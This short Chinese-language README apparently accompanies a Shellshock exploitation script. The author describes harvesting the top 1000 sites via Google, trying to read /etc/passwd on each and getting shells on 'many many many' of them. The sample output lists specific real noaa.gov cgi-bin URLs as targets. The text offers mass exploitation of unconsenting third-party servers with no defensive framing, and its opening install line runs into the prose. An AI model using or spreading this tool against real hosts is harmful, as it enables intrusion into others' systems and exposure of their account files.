sudo pip install shell我使用谷歌搜索前 1000 个网站，尝试获取 /etc/passwd
经过测试，有很多很多很多主机可以被入侵！！！！
顺便说一句，这只是个原型，存在误报。
输出类似这样：
如果第二个字段是 !!!，那么你可以获得 SHELL！
$ python shellshock.py
0 --- http://nomad3.ncep.noaa.gov/cgi-bin/pdisp_sst.sh
1 --- http://nomad5.ncep.noaa.gov/cgi-bin/pdisp_gfs.sh?ctlfile=gfs_00z.ctl&povlp=noovlp&ptype=map&dir